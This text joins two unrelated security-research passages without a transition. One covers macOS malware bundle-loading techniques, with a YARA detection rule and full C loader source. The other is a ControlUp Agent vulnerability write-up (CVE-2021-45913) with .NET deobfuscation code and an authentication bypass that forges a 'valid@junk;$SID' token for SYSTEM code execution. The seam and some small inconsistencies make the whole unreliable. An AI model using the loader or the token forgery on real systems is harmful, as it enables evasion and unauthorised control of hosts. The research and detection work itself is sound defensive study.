    $call_to_LC_MAIN_jmp = {
      81 ?? 28 00 00 80
      0F 8? ?? ?? ?? ??
    }
    $ns_link_module = "NSLinkModule"
    $ns_create_image_from_file = "NSCreateObjectFileImageFromFile"
    $call_to_nslookup_for_symbols = "NSLookupSymbolInModule"
    $call_to_ns_address_of_symbol = "NSAddressOfSymbol"
    $map_args_to_nslinkmodule = {
        48 ?? ?? ?? ?? ff ff
        4C ?? ??
        [0-32]
        BA (03| 07) 00 00 00
        [0-32]
        E8 ?? ?? ?? ??
    }
  condition:
    {sig_for_mach_o} and $ns_create_image_from_file and ($ns_link_module and $map_args_to_nslinkmodule) and 2 of ($call_to_*)
}

This YARA signature looks for signatures of LC_MAIN, and invocation signatures of NSCreateObjectFileImageFromFile, NSLinkModule, NSLookupSymbolInModule and NSLookupSymbolInModule to detect if this method of invocation is being used in an executable.

CFBundleCreate

Apple’s documentation about the third API is a bit sparse.

This API essentially mimics what NSCreateObjectFileImageFromFile does. The following sequence of API calls should result in desired behavior:

url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *) pathToBundle, strlen(pathToBundle), true);
bundle = CFBundleCreate(NULL, url);
func = (EntryPoint) CFBundleGetFunctionPointerForName(bundle, CFSTR(kBundleEntryPointName));
func("... from CFBundle");

Pre-requisite Entitlements

Apple has introduced memory protection primitives in the way memory permissions are handled. This means that a couple of entitlements are required to get in-memory execution working.

manishbhatt@jvf-imac Development % codesign -d --entitlements - ./loader
[Dict]
    [Key] com.apple.security.cs.allow-unsigned-executable-memory
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-executable-page-protection
    [Value]
        [Bool] true
    [Key] com.apple.security.cs.disable-library-validation
    [Value]
        [Bool] true

These entitlements are not restricted. Anyone with a developer certificate can attach them to their application.

Putting it together in a single Mach-O

For the PoC we have 2 things: an innocuous looking bundle and a Mach-O executable which uses NSCreateObjectFileImageFromFile and CFBundleCreate to load the bundle directly from disk. The function HelloWorld from the bundle gets loaded by the Mach-O.

Bundle Source Code

#include <stdio.h>

extern void HelloWorld(const char *message);

extern void HelloWorld(const char *message)
{
    fprintf(stderr, "Hello World!\n");
    fprintf(stderr, "%s\n", message);
}

Loader that Loads Bundles from Disk

#include <CoreServices/CoreServices.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach-o/arch.h>
#include <mach-o/fat.h>
#include <mach-o/dyld.h>

// Definitions for the bundle entry point.

#define kBundleEntryPointName "HelloWorld"
typedef void( * EntryPoint)(const char * message);

/////////////////////////////////////////////////////////////////

static void cf_load_bundle(const char * pathToBundle)
// Load and call the bundle the easy way, via CFBundle.
{
  CFURLRef u;
  CFBundleRef b;
  EntryPoint f;

  u = NULL;
  b = NULL;

  u = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 * ) pathToBundle, strlen(pathToBundle), true);
  if (u == NULL) {
    fprintf(stderr, "Could not create URL.\n");
  } else {
    b = CFBundleCreate(NULL, u);
    if (b == NULL) {
      fprintf(stderr, "Could not create bundle.\n");
    } else {
      f = (EntryPoint) CFBundleGetFunctionPointerForName(b, CFSTR(kBundleEntryPointName));
      if (f == NULL) {
        fprintf(stderr, "Could not get entry point.\n");
      } else {
        f("... from CFBundle");
      }
    }
  }

  if (b != NULL) {
    CFRelease(b);
  }
  if (u != NULL) {
    CFRelease(u);
  }
}

static Boolean GetBundleExecutable(const char * pathToBundle, char * buf, size_t bufLen)
// Get the executable path for the specified bundle.  We do this using
// CFBundle APIs to avoid having to hard-code things like "Contents/macOS".
{
  Boolean ok;
  CFURLRef u;
  CFBundleRef b;
  CFURLRef u2;

  u = NULL;
  b = NULL;
  u2 = NULL;

  // Create a bundle from the path.

  ok = true;
  u = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 * ) pathToBundle, strlen(pathToBundle), true);
  if (u == NULL) {
    ok = false;
  }
  if (ok) {
    b = CFBundleCreate(NULL, u);
    if (b == NULL) {
      ok = false;
    }
  }

  // Ask the bundle for the path to the executable.

  if (ok) {
    u2 = CFBundleCopyExecutableURL(b);
    if (u2 == NULL) {
      ok = false;
    }
  }
  if (ok) {
    ok = CFURLGetFileSystemRepresentation(u2, true, (UInt8 * ) buf, bufLen);
  }

  // Clean up.

  if (u != NULL) {
    CFRelease(u);
  }
  if (b != NULL) {
    CFRelease(b);
  }
  if (u2 != NULL) {
    CFRelease(u2);
  }
  return ok;
}

static void nsfromfile_load_bundle(const char * pathToBundle) {
  int junk;
  char codePath[1024];
  void * codeAddr;
  size_t codeSize;
  const char * moduleName;
  const char * message;
  NSObjectFileImageReturnCode dyldErr;
  NSObjectFileImage ofi;
  enum DYLD_BOOL ok;
  NSModule m;
  NSSymbol s;
  EntryPoint f;

  codeAddr = NULL;
  ofi = NULL;
  m = NULL;

  // Get the path to the code within the bundle.

  ok = GetBundleExecutable(pathToBundle, codePath, sizeof(codePath));
  if (!ok) {
    fprintf(stderr, "Could not locate executable with '%s'.", pathToBundle);
  } else {
    // Set moduleName for the call to NSLinkModule.

    moduleName = codePath;
    message = "... from NSCreateObjectFileImageFromFile";

    // Create the object file image directly from the file.

    dyldErr = NSCreateObjectFileImageFromFile(
      codePath, &
      ofi
    );

    if (dyldErr != NSObjectFileImageSuccess) {
      fprintf(stderr, "Could not create object file image.\n");
    } else {
      unsigned long options;
      // NSLINKMODULE_OPTION_PRIVATE: Don't publish the bundle's exports to the global namespace
      // NSLINKMODULE_OPTION_RETURN_ON_ERROR : Return, rather than abort(), or error
      // NSLINKMODULE_OPTION_BINDNOW: Link the module now, rather than on demand
      options = NSLINKMODULE_OPTION_PRIVATE
        |
        NSLINKMODULE_OPTION_RETURN_ON_ERROR;
      #if!defined(NDEBUG)
      options |= NSLINKMODULE_OPTION_BINDNOW;
      #endif
      m = NSLinkModule(ofi, moduleName, options);

      if (m == NULL) {
        fprintf(stderr, "Could not link module.%s \n", m);
      } else {
        s = NSLookupSymbolInModule(m, "_"
          kBundleEntryPointName);
        if (s == NULL) {
          fprintf(stderr, "Could not lookup symbol.\n");
        } else {
          f = NSAddressOfSymbol(s);
          if (f == NULL) {
            fprintf(stderr, "Could not get address of symbol.\n");
          } else {
            f(message);
          }
        }
      }
    }
  }

  if (m != NULL) {
    ok = NSUnLinkModule(m, NSUNLINKMODULE_OPTION_NONE);
    assert(ok);
  }
  if (ofi != NULL) {
    ok = NSDestroyObjectFileImage(ofi);
    assert(ok);
    codeAddr = NULL;
  }
  if (codeAddr != NULL) {
    junk = (int) vm_deallocate(mach_task_self(), (vm_address_t) codeAddr, codeSize);
    assert(junk == 0);
  }
}

static void PrintUsage(void) {
  fprintf(stderr, "loader ( -cf | -ns | -nsmem ) PathToBundle\n");
}

int main(int argc,
  const char * argv[]) {
  if (argc != 3) {
    PrintUsage();
    exit(EXIT_FAILURE);
  }

  if (strcmp(argv[1], "-cf") == 0) {
    cf_load_bundle(argv[2]);
  } else if (strcmp(argv[1], "-ns") == 0) {
    nsfromfile_load_bundle(argv[2]);
  } else {
    PrintUsage();
    exit(EXIT_FAILURE);
  }

  return EXIT_SUCCESS;
}

The following screenshot demonstrates this loading behavior in action:

We reported this issue to ControlUp on May 11, 2021. They acknowledged the report the next day, thanked us for our report, and informed us that the usage of static encryption keys had already been proactively fixed as of version 8.2.5. You can read the original report we sent to ControlUp. CVE-2021-45913 was assigned to track this vulnerability.

The ControlUp Agent (cuAgent) software is written in .NET. This is ideal for reverse engineering – .NET usually decompiles to nearly the same thing that the developer initially wrote. But we noticed something strange with the Smart-X ControlUp binaries. Firstly, there weren’t a lot of .NET assembly DLLs that came along with the project. That’s not strange by itself, but often .NET binaries come with a lot of extra DLLs. Looking in Process Explorer shows that there are many loaded assemblies – but we weren’t able to find them in DotPeek or on disk.

They also use some sort of obfuscation. Class, method, and variable names look like this:

Not only do they have odd class, variable, and method names – they have a lot of dead code. Note that the case 0: on line 337 will never execute. It looks like obfuscation to slow down a reverser. Also a lot of “if (false)” statements are littered throughout the code.

Based on inspecting the running binary, we know that they’re creating WCF named pipes and TCP endpoints. But we couldn’t find any references in the code where this happens.

Reviewing more code, we stumbled across this:

That seemed odd, so I spent a bit of time reversing what is going on. That charArray gets bitwise inverted. At that point, it is more readable:

AppLoadTimeTracer.AgentSideCommon, Version=1.0.0.0, Culture=neutral, \
PublicKeyToken=null`pkC3o4ibHqbaW9eT+sfYIA==`SmartX.Common, Version=1.0.0.0, \
Culture=neutral, PublicKeyToken=null`nZLN7WTbcAXIfmox4Owtnw==`...

After splitting on the backtick delimiter, we are left with a list of AssemblyInfo:base64 pairs. At this point, I exported the code that does the unpacking and copied it to a Visual Studio .NET project where I could rename variables and clean it up by removing those dead conditionals.

Reversing more of the code shows they’re getting the manifest resource stream based on the base64 name and passing it to a new function.

In this next function, they read and ignore the first 3 bytes of the stream. They read the 4th byte as a flag byte. The decoded bits of the flag are:

0: unknown
1: Encrypted assembly
2: unknown
3: Compressed assembly
4-7: unknown

An assembly resource file can be a raw assembly, encrypted, compressed, or encrypted and compressed. If it’s compressed, they simply call DeflateStream on it. If it’s encrypted, they use DESCryptoServiceProvider. But where are the key and IV?

In the encrypted case, the next 8 bytes in the resource stream are the IV and the following 8 bytes are the key:

So we now have everything we need to retrieve all the assemblies from the executables and write them to files. Once we write them to a file, we can load them in DotPeek and keep working:

In the end, we were able to recover 156 additional assemblies across 3 obfuscated service binaries. We ended up finding the named pipe and TCP WCF handlers, as well.

Once we recovered the inner assemblies, we found some other oddities. They store some encrypted RSA private keys in the ControlUp Monitor’s obfuscated resource files. One of the keys is used in the authentication between the ControlUp Monitor and the ControlUp Agent. Getting this encrypted RSA key was actually the reason to start digging so deeply into the second-level .NET Assembly packing. The RSA private key is encrypted, but it uses the same hard-coded 3DES key used in many ControlUp methods. The 3DES key doesn’t provide strong confidentiality since it’s easily found in all of the executable’s resources.

This RSA private key is used to decrypt the session key/IV returned from the PrepareConnection call. The session key/IV is used to 3DES encrypt the UserTokens that are then decrypted on the server. This is the root of the authentication bypass - if an unauthenticated user knows this 3DES key/IV, they can encrypt a UserTokens of valid@junk;$SID (where “junk” is ignored, “valid” is what they use to determine if the connection is valid, and $SID is the SID of an account in the Administrators group). That’s it! No password, kerberos ticket – nothing else is required.

The end result is unauthenticated remote code execution as NT AUTHORITY\SYSTEM. This affects all users of the ControlUp Agent software with version < 8.2.5.

Running the PoC shows that we can connect to a socket, send it some packets, and get it to execute code for us as NT AUTHORITY\SYSTEM:

More detail, including the PoC, can be found in our advisory. The code that I used to do the de-obfuscation is included here:

using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Security.Cryptography;

namespace StringArrayReverser
{
    class Program
    {

        static string[] DecodeString(char[] input)
        {
            for (int index = 0; index < input.Length; ++index)
                input[index] = (char)~(ushort)input[index];
            string[] strArray = new string(input).Split('`');
            return strArray;
        }

        static void FalconReverser()
        {
            char[] charArray = "ﾾﾏﾏﾳﾐﾞﾛﾫﾖﾒﾚﾫﾍ<SNIP>ﾼﾑﾖￆﾞﾝￔﾶﾵￔﾈￂￂ".ToCharArray();
            var strArray = DecodeString(charArray);

            UnpackAssemblies("AppLoadTimeTracer.exe", strArray);
        }

        static byte[] DESDecrypt(Stream InStream)
        {
            MemoryStream memoryStream = new MemoryStream();
            Stream stream = InStream;

            for (int index = 1; index < 4; ++index)
            {
                InStream.ReadByte();
            }
            ushort Flags = (ushort)~InStream.ReadByte();
            // Skip 3 bytes, read 4th byte

            // Encrypted
            if (((int)Flags & 2) != 0)
            {
                DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider();
                byte[] DESIV = new byte[8];
                InStream.Read(DESIV, 0, 8);
                cryptoServiceProvider.IV = DESIV;
                byte[] DESKey = new byte[8];
                InStream.Read(DESKey, 0, 8);

                cryptoServiceProvider.Key = DESKey;

                memoryStream.Position = 0L;
                ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor();
                int inputBlockSize = decryptor.InputBlockSize;
                int outputBlockSize = decryptor.OutputBlockSize;
                byte[] numArray1 = new byte[decryptor.OutputBlockSize];
                byte[] numArray2 = new byte[decryptor.InputBlockSize];
                int position;
                for (position = (int)InStream.Position; (long)(position + inputBlockSize) < InStream.Length; position += inputBlockSize)
                {
                    InStream.Read(numArray2, 0, inputBlockSize);
                    int count = decryptor.TransformBlock(numArray2, 0, inputBlockSize, numArray1, 0);
                    memoryStream.Write(numArray1, 0, count);
                }

                InStream.Read(numArray2, 0, (int)(InStream.Length - (long)position));
                byte[] buffer3 = decryptor.TransformFinalBlock(numArray2, 0, (int)(InStream.Length - (long)position));
                memoryStream.Write(buffer3, 0, buffer3.Length);
                stream = (Stream)memoryStream;
                stream.Position = 0L;
            }
            if (((int)Flags & 8) != 0)
            {
                var tmpStream = new MemoryStream();
                DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
                deflateStream.CopyTo(tmpStream);

                memoryStream = tmpStream;
            }

            if (Flags == 0xff00)
            {
                memoryStream.SetLength(0);
                stream.CopyTo(memoryStream);
            }

            return memoryStream.ToArray();
        }

        static void UnpackAssemblies(string parent, string[] strArray)
        {
            int i;

            Assembly ass = Assembly.LoadFrom(parent);

            Console.WriteLine("Loaded {0}", ass.FullName);
            var dirname = "output\\" + parent + "\\";
            Directory.CreateDirectory("output");
            Directory.CreateDirectory(dirname);
            for (i = 0; i < strArray.Length; i += 2)
            {
                var info = strArray[i];
                var b64 = strArray[i + 1];

                var name = info.Split(',')[0];

                Console.WriteLine("{0} {1} {2}", name, b64, info);
                var mrs = ass.GetManifestResourceStream(b64);
                var decryptedBytes = DESDecrypt(mrs);
                if (b64.EndsWith("#"))
                {
                    File.WriteAllBytes(dirname + "\\" + name + ".pdb", decryptedBytes);
                }
                else
                {
                    File.WriteAllBytes(dirname + "\\" + name + ".dll", decryptedBytes);
                }
            }
        }

        static void cuAgentReverser()
        {
            /* Note: This needs to be fixed to include the array from the binary. */
            char[] charArray = "ﾬﾒﾞﾍﾋﾧ\x<SNIP>\xFFC9ﾪﾚﾛﾮￂￂ".ToCharArray();
            var strArray = DecodeString(charArray);

            UnpackAssemblies("cuAgent.exe", strArray);

        }

        static void ConsoleReverser()
        {
            char[] charArray = "ﾾﾜﾋﾖﾐﾑﾺﾉ<SNIP>ﾏﾮￊￌﾙﾘￂￂ".ToCharArray();
            var strArray = DecodeString(charArray);

            UnpackAssemblies("ControlUpConsole.exe", strArray);
        }

        static void Main(string[] args)
        {

            FalconReverser();

            cuAgentReverser();

            ConsoleReverser();
        }
    }
}